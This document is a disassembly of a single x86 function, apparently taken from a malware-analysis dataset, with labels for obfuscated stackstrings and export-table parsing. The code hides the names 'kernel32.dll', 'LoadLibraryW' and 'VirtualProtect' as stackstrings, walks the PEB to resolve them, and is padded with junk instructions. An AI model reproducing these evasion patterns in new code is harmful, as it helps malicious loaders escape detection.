Function at 0x552370
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edx
push ecx
or ecx, 0x6b75
or ecx, 0x10e49
sub ecx, 0x174f9
jmp 0x551ff6
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x55200f
mov dword [ebp - 0x2e0], 0
jmp 0x55226f
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
and esi, 0x92ec
sub esi, 0xdb0d
pop esi
push edx
push edx
add esp, 4
sub edx, 0x1214
pop edx
push edi
push ecx
add esp, 4
add edi, 0x18591
or edi, 0x9e41
xor edi, 0x4b7b
pop edi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edx
push ebx
add esp, 4
jmp 0x552086
sub edx, 0xe2a4
pop edx
push esi
call 0x55209c
add byte [eax + 0x45], al
dec edi
dec eax
cmp cl, byte [edx + 0x3c]
dec esi
add esp, 4
and esi, 0x74f4
sub esi, 0x19c1
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ecx
push ecx
add esp, 4
or ecx, 0x146ee
or ecx, 0xdea8
xor ecx, 0xcfdc
sub ecx, 0xa352
pop ecx
push esi
xor esi, 0x68c0
or esi, 0x6fe2
xor esi, 0x2097
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x55215b
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x5521be
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x55207a
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x55207a
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x5521a8
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x5521b2
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x552207
push esi
push edi
add esp, 4
jmp 0x5521d2
jmp 0x5521da
and esi, 0x45ad
xor esi, 0xa66a
pop esi
push esi
push esi
add esp, 4
sub esi, 0x80f9
sub esi, 0x10bcb
pop esi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x55226f
push edx
add edx, 0x170ab
pop edx
push edi
push esi
add esp, 4
and edi, 0x168d9
pop edi
push edi
push edx
add esp, 4
and edi, 0x3cf4
sub edi, 0x2078
add edi, 0xbd44
sub edi, 0x12781
pop edi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x552265
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x55201b
mov dword [ebp - 0x2e0], 0
push ecx
add ecx, 0x1527d
or ecx, 0x16d69
sub ecx, 0xdf28
pop ecx
push edx
sub edx, 0x11a83
jmp 0x552292
pop edx
push ebx
xor ebx, 0xcef1
sub ebx, 0xe007
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x552bba
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
xor esi, 0x39c1
pop esi
push edi
push edi
add esp, 4
add edi, 0x725d
pop edi
push edi
push edi
add esp, 4
call 0x552370
add byte [esi + 0x32], cl
inc esi
cmp cl, byte [ebx + 0x4e]
xor dh, byte [esi]
xor dh, byte [edi]
add esp, 4
jmp 0x552378
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
xor esi, 0x76f8
sub esi, 0x2fca
or esi, 0xb5d5
pop esi
push edi
push edi
add esp, 4
xor edi, 0x1410e
pop edi
push ebx
push ebx
add esp, 4
and ebx, 0x17254
add ebx, 0x6cbf
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x552445
mov dword [ebp - 0x6ec], 0
jmp 0x552701
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edi
push ebx
add esp, 4
call 0x552469
add byte [edx + 0x3f], cl
inc ebp
inc esp
dec ebp
dec eax
inc eax
add esp, 4
call 0x552479
add byte [eax + 0x4e], al
dec ecx
xor al, 0x47
dec esp
cmp al, byte [ebx + 0x505f04c4]
push esi
add esp, 4
add eax, 0x12da5
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x5524a1
mov dword [ebp - 0x6ec], 0
jmp 0x552701
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
push ebx
add esp, 4
sub edi, 0x66c7
pop edi
push ecx
push edi
add esp, 4
add ecx, 0x1624f
and ecx, 0x2c
add ecx, 0x9771
pop ecx
push ebx
xor ebx, 0x9e8
sub ebx, 0x1f43
pop ebx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edx
call 0x55251c
add byte [edx + 0x3d], al
cmp cl, byte [edi + 0x35]
cmp cl, byte [ebx + 0x4d]
dec edi
add esp, 4
add edx, 0xcded
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0xdc11
xor ebx, 0x12ad2
add ebx, 0xeb3c
pop ebx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
push esi
add esp, 4
and esi, 0x497a
add esi, 0x149d8
pop esi
push ebx
push edx
add esp, 4
sub ebx, 0x14319
and ebx, 0x16d8b
sub ebx, 0x13840
pop ebx
push eax
sub eax, 0x101fa
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x5525ed
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x552650
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x55250c
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x55250c
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x55263a
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x552644
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x552699
push edx
push edx
add esp, 4
and edx, 0x1891
pop edx
push esi
push esi
add esp, 4
add esi, 0x11e3a
add esi, 0xa00a
xor esi, 0xbd8e
pop esi
push ecx
sub ecx, 0x1229a
or ecx, 0x144e6
pop ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x552701
push edx
push ebx
add esp, 4
xor edx, 0x131c9
pop edx
push ebx
call 0x5526b4
add byte [esi], bh
inc eax
xor al, byte [esi + 0x37]
dec edi
xor esi, dword [esi]
add esp, 4
jmp 0x5526bc
and ebx, 0xebbb
pop ebx
push esi
and esi, 0x103cf
pop esi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x5526f7
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x5524ad
mov dword [ebp - 0x6ec], 0
push edi
push edx
add esp, 4
and edi, 0x9139
sub edi, 0x13b7c
call 0x552721
add byte [0x4a3d3e3f], bh
xor eax, 0x83403c3d
les eax, [edi + ebx*2]
push edx
xor edx, 0x183d4
or edx, 0x12aa7
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x55277d
push eax
push esi
add esp, 4
or eax, 0x6dfc
and eax, 0xa4c0
xor eax, 0x4b81
pop eax
push ebx
xor ebx, 0x1476e
or ebx, 0xf671
jmp 0x552767
add ebx, 0x88e3
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x5532a4
push edx
push ecx
add esp, 4
and edx, 0x16cf7
and edx, 0xd30b
jmp 0x552793
pop edx
push ebx
push edx
add esp, 4
jmp 0x5527a0
and ebx, 0x1648f
pop ebx
push ecx
add ecx, 0x11f5b
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x5527ee
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x552adf
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x552816
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x552adf
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x552848
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x552adf
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x55286d
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x552adf
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x5528c7
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x552ad3
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x552937
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x5529e9
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x5529e9
push edi
jmp 0x55296b
xor edi, 0x16463
pop edi
push ebx
push edx
add esp, 4
and ebx, 0x1229
pop ebx
push ecx
jmp 0x552986
xor ecx, 0x62b8
jmp 0x552995
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x5529db
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x5529e2
jmp 0x552928
jmp 0x5529e9
push eax
or eax, 0x83f0
sub eax, 0x1173d
call 0x552a05
add byte [edi], bh
xor eax, dword [edx + 0x3d]
cmp dword [esp + eax*2 + 0x35], eax
inc eax
add esp, 4
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x17742
add eax, 0xac50
pop eax
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x552a48
mov dword [ebp - 0xc30], 0
jmp 0x552ab7
push ecx
jmp 0x552a51
and ecx, 0x12238
pop ecx
push esi
and esi, 0x15a99
add esi, 0x4369
pop esi
push edx
and edx, 0x1b14
and edx, 0x8efe
mov es, word [eax]
add byte [ecx + 0x12b49c2], al
add byte [edx - 0x75], bl
test dword [eax], ecx
stc
invalid
inc dword [ebx]
test dword [eax + 0xffffffe], eax
mov esi, 0x20c98308
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x552aad
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x552ab7
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x552ace
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x552adf
jmp 0x5528b8
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x552bba
push ecx
and ecx, 0x2ea0
pop ecx
push edx
push edi
add esp, 4
or edx, 0x36a1
pop edx
push edx
call 0x552b0e
add byte [ebx], dh
cmp al, 0x4d
inc esi
cmp esi, dword [edx]
inc edi
add esp, 4
xor edx, 0xde8d
xor edx, 0x10727
pop edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push eax
push ebx
add esp, 4
add eax, 0x126ea
jmp 0x552b3e
sub eax, 0x17123
call 0x552b50
add byte [0x48423442], dh
aas
add esp, 4
pop eax
push esi
or esi, 0xb17c
pop esi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x552bba
push ebx
xor ebx, 0x11f44
sub ebx, 0x4b4e
pop ebx
push esi
push edx
add esp, 4
or esi, 0xf9fa
or esi, 0x4f90
pop esi
push ecx
push esi
add esp, 4
or ecx, 0x11269
add ecx, 0xa51b
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x5532a4
push ebx
push edx
add esp, 4
jmp 0x552bc5
xor ebx, 0x9c90
pop ebx
push edx
add edx, 0x17c58
pop edx
push esi
push edi
add esp, 4
and esi, 0x12748
add esi, 0x6597
add esi, 0xad2
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
push ecx
add esp, 4
xor esi, 0xbd63
pop esi
push esi
call 0x552c2f
add byte [edx + 0x40], al
inc esi
dec esp
xor eax, 0x3d4f4a47
add esp, 4
and esi, 0x21d0
sub esi, 0x16419
and esi, 0x3392
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x552c5d
mov dword [ebp - 0x2e0], 0
jmp 0x552f04
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
or esi, 0x1d27
xor esi, 0x36b5
sub esi, 0x3953
pop esi
push eax
push ebx
add esp, 4
or eax, 0x8bf7
pop eax
push edx
push ebx
add esp, 4
xor edx, 0x7ef1
xor edx, 0x9102
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x552cb9
mov dword [ebp - 0x2e0], 0
jmp 0x552f04
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
sub eax, 0x582f
jmp 0x552cd4
pop eax
push edx
push eax
add esp, 4
or edx, 0x16692
pop edx
push ecx
sub ecx, 0x3bdc
or ecx, 0x10efe
jmp 0x552cf6
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
push eax
add esp, 4
or edi, 0x13aa3
jmp 0x552d32
pop edi
push ebx
xor ebx, 0x1191a
pop ebx
push ebx
push esi
add esp, 4
xor ebx, 0x8ebb
add ebx, 0xfc58
or ebx, 0x157a7
pop ebx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push ecx
add esp, 4
jmp 0x552db7
or esi, 0x16276
or esi, 0x17427
add esi, 0x47a4
pop esi
push edi
push ecx
add esp, 4
or edi, 0x2383
and edi, 0x46fe
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x552df9
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x552e53
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x552d21
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x552d21
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x552e3d
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x552e47
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x552e9c
push eax
push ebx
add esp, 4
add eax, 0x582d
xor eax, 0x9b6b
sub eax, 0xdd61
pop eax
push edx
and edx, 0xd8a2
xor edx, 0x95d3
sub edx, 0xab7a
xor edx, 0xe717
pop edx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x552f04
push esi
xor esi, 0x4438
jmp 0x552eac
pop esi
push ebx
sub ebx, 0x1248
add ebx, 0xdbfb
pop ebx
push ecx
call 0x552eca
add byte [ebx], bh
cmp al, 0x39
inc ecx
inc ebp
dec eax
inc ebx
dec esp
add esp, 4
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x552efa
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x552cc5
mov dword [ebp - 0x2e0], 0
push ecx
add ecx, 0xfdee
and ecx, 0x12b33
jmp 0x552f16
or ecx, 0x549a
pop ecx
push eax
or eax, 0x26e1
jmp 0x552f2a
jmp 0x552f2f
add eax, 0x122cd
pop eax
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
add esi, 0x1766
xor esi, 0x4e5f
and esi, 0x7a04
jmp 0x552f60
pop esi
push ecx
jmp 0x552f6a
pop ecx
push ebx
push edx
add esp, 4
or ebx, 0x14b6c
pop ebx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x552fa7
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x553298
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x552fcf
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x553298
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x553001
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x553298
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x553026
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x553298
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x553080
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x55328c
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x5530f0
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x5531a2
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x5531a2
push ebx
sub ebx, 0x11530
and ebx, 0x11d1e
add ebx, 0x6e0c
and ebx, 0x15c32
pop ebx
push edx
xor edx, 0x172a4
pop edx
push eax
jmp 0x553148
or eax, 0x299d
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x553194
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x55319b
jmp 0x5530e1
jmp 0x5531a2
push esi
xor esi, 0xb875
add esi, 0x153d5
sub esi, 0xc939
xor esi, 0x129fb
pop esi
push eax
xor eax, 0xb017
pop eax
push esi
sub esi, 0x10330
pop esi
push edi
sub edi, 0x130f9
pop edi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x553201
mov dword [ebp - 0xc40], 0
jmp 0x553270
push edi
add edi, 0x5762
and edi, 0xce97
call 0x55321e
add byte [edi], bh
inc ebp
inc eax
xor al, byte [ebx + 0x40]
aaa
dec esi
dec edi
dec eax
add esp, 4
call 0x55322f
add byte [edi], bh
dec eax
dec ecx
dec esi
aaa
dec ebp
push eax
add esp, 4
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x553266
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x553270
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x553287
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x553298
jmp 0x553071
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
sub ebx, 0x43db
and ebx, 0xc645
sub ebx, 0xd4ba
or ebx, 0x965e
pop ebx
push ebx
jmp 0x5532c7
sub ebx, 0xd6f5
pop ebx
push eax
or eax, 0x15a77
pop eax
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push edi
add esp, 4
sub edi, 0xa3ef
or edi, 0x15dd2
or edi, 0x3897
pop edi
push eax
push ecx
add esp, 4
jmp 0x55330a
or eax, 0xd40a
add eax, 0x42f7
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x553329
cmp dword [ebp - 0xa5c], 0
jne 0x55336f
push eax
push ebx
add esp, 4
or eax, 0x84dd
sub eax, 0x69cc
xor eax, 0x715c
add eax, 0xe7fd
pop eax
push ebx
sub ebx, 0x32e3
sub ebx, 0xe221
or ebx, 0x100fc
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push edx
add esp, 4
xor ecx, 0x22b2
or ecx, 0xc238
or ecx, 0x13f2b
pop ecx
push edx
push ebx
add esp, 4
jmp 0x55339d
xor edx, 0x12e6e
jmp 0x5533aa
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
and esi, 0x865d
jmp 0x5533e3
xor esi, 0x183e0
pop esi
push edx
push edx
add esp, 4
and edx, 0x3448
add edx, 0x12166
add edx, 0x17f6e
and edx, 0x5dc0
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push eax
add esp, 4
and ebx, 0x15d7f
jmp 0x553482
and ebx, 0x1353b
pop ebx
push eax
push edx
add esp, 4
sub eax, 0x13f48
jmp 0x55349d
jmp 0x5534a2
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
